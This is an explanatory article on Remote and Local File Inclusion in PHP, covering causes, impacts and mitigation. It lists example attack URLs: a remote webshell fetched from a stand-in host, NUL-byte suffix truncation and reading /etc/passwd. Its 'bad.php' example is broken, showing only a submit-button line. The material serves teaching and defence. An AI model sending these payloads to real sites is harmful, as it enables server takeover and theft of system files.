Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. His pair, Local File Inclusion or LFI is basically the same technique, used on sites which have been successfully penetrated, and the hacker "planted" his files already on the server.
The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:
- Code execution on the web server
- Denial of Service (DoS)
- Data Theft/Manipulation
In PHP, the "mother tongue" of Joomla sites, the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function. Most notable are the include and require statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has an allow_url_fopen directive, and if enabled it allows filesystem functions to use a URL which allows them to retrieve data from remote locations. An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability, all user input needs to be validated before being used. Disabling remote file inclusion is not sufficient because there may still be local files on the server that can contain attacker controlled values, such as a log of web requests.
Let's see an example of a "bad.php" file:
<input type="submit" />
The developer obviously intended only blue.php and red.php to be used as options. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:
- /bad.php?COLOR=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a malicious code.
- /bad.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)
- /bad.php?COLOR=C:\\notes.txt%00 - example using NUL meta character to remove the .php suffix, allowing access to files other than .php. (With magic_quotes_gpc enabled this limits the attack by escaping special characters, this disables the use of the NUL terminator)
- /bad.php?COLOR=/etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.